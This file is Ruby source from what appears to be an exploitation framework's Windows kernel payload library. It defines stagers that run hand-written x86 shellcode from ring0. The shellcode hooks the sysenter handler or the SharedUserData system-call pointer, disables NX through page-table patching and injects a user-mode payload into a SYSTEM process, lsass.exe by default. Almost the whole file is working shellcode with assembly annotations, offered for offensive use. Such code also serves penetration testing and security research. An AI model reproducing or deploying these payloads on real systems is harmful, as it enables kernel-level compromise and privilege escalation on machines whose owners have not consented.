# -*- coding: binary -*-
module Rex
module Payloads
module Win32
module Kernel

#
# Stagers are responsible for reading in another payload and executing it.
# The reading in of the payload may actually be as simple as copying it to
# another location.  The executing of it may be done either directly or
# indirectly.
#
module Stager

  #
  # Works on Vista, Server 2008 and 7.
  #
  # Full assembly source at:
  # /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
  #
  # This payload works as follows:
  # * Our sysenter handler and ring3 stagers are copied over to safe location.
  # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
  # * The ring0 thread we are in is placed in a halted state.
  # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
  # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
  # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
  # * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
  # * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
  #
  def self.stager_sysenter_hook( opts = {} )

    # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
    pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00

    # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
    kstager   = opts['StagerAddressKernel'] || 0xFFDF0400

    # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
    ustager   = opts['StagerAddressUser'] || 0x7FFE0400

    # Target SYSTEM process to inject ring3 payload into.
    process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')

    # A simple hash of the process name based on the first 4 wide chars.
    # Assumes process is located at '*:\windows\system32\'.
    checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )

    # The ring0 -> ring3 payload blob.
    # Full assembly source at:
    #   external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
    r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x5D" +
      "\x8B\x7E\x61\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
      "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
      "\x58\x8B\x58\x54\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
      "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x31" +
      "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x25\x8B\x58\x5C\x8D" +
      "\x5B\x69\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
      "\x00\x74\x0E\xBA\x45\x45\x45\x45\x83\xC2\x04\x81\x22\xFF\xFF\xFF" +
      "\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43\x43\x43\x43" +
      "\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2B\x8B\x43\x10" +
      "\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9\x44\x44\x44" +
      "\x44\x75\x15\xE8\x07\x00\x00\x00\xE8\x0D\x00\x00\x00\xEB\x09\xB9" +
      "\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"

    # The ring3 payload.
    r3  = ''
    r3 += _createthread() if opts['CreateThread'] == true
    r3 += opts['UserModeStub'] || ''

    # Patch in the required values.
    r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
    r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
    r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
    r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
    r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )

    # Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
    return r0 + r3
  end

  #
  # XP SP2/2K3 SP1 ONLY
  #
  # Returns a kernel-mode stager that transitions from r0 to r3 by placing
  # code in an unused portion of SharedUserData and then pointing the
  # SystemCall attribute to that unused portion.  This has the effect of
  # causing the custom code to be called every time a user-mode process
  # tries to make a system call.  The returned payload also checks to make
  # sure that it's running in the context of lsass before actually running
  # the embedded payload.
  #
  def self.sud_syscall_hook(opts = {})
    r0_recovery = opts['RecoveryStub'] || Recovery.default
    r3_payload  = opts['UserModeStub'] || ''
    r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
    r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4

    r0_stager =
      "\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
      "\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
      "\x4B"                                         + # dec ebx
      "\xFC"                                         + # cld
      "\x8D\x7B\x7C"                                 + # lea edi,[ebx+0x7c]
      "\x5E"                                         + # pop esi
      "\x6A" + [r3_size].pack('C')                   + # push byte num_dwords
      "\x59"                                         + # pop ecx
      "\xF3\xA5"                                     + # rep movsd
      "\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
      "\x39\x3B"                                     + # cmp [ebx],edi
      "\x74\x09"                                     + # jz
      "\x8B\x03"                                     + # mov eax,[ebx]
      "\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
      "\x89\x01"                                     + # mov [ecx],eax
      "\x89\x3B"                                     + # mov [ebx],edi
      r0_recovery +
      "\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
      r3_prefix +
      r3_payload

    return r0_stager
  end

protected

  #
  # Stub to run a prepended ring3 payload in a new thread.
  #
  # Full assembly source at:
  #   external/source/shellcode/windows/x86/src/single/createthread.asm
  #
  def self._createthread
    r3 = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
      "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
      "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
      "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
      "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
      "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
      "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
      "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
      "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x31\xC0\x50\x50\x50\x8D\x9D" +
      "\x99\x00\x00\x00\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5\xC3\x58"
    return r3
  end

  #
  # This stub is used by stagers to check to see if the code is
  # running in the context of a user-mode system process.  By default,
  # this process is lsass.exe.  If it isn't, it runs the code
  # specified by append.  Otherwise, it jumps past that code and
  # into what should be the expected r3 payload to execute.  This
  # stub also makes sure that the payload does not run more than
  # once.
  #
  def self._run_only_in_win32proc_stub(append = '', opts = {})
    opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?

    process  = opts['RunInWin32Process'].downcase
    checksum =
      process[0]         +
      (process[2] << 8)  +
      (process[1] << 16) +
      (process[3] << 24)

    "\x60"                                 + # pusha
    "\x6A\x30"                             + # push byte +0x30
    "\x58"                                 + # pop eax
    "\x99"                                 + # cdq
    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
    "\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
    "\x74\x26"                             + # jz 0x5f
    "\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
    "\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
    "\x83\xC3\x28"                         + # add ebx,byte +0x28
    "\x8B\x0B"                             + # mov ecx,[ebx]
    "\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
    "\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
    "\x75\x10"                             + # jnz 0x5f
    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
    "\x43"                                 + # inc ebx
    "\x43"                                 + # inc ebx
    "\x43"                                 + # inc ebx
    "\x80\x3B\x01"                         + # cmp byte [ebx],0x1
    "\x74\x05"                             + # jz 0x5f
    "\xC6\x03\x01"                         + # mov byte [ebx],0x1
    "\xEB" + [append.length + 1].pack('C') + # jmp stager
    "\x61" + append						        # restore regs
  end


end

end
end
end
end
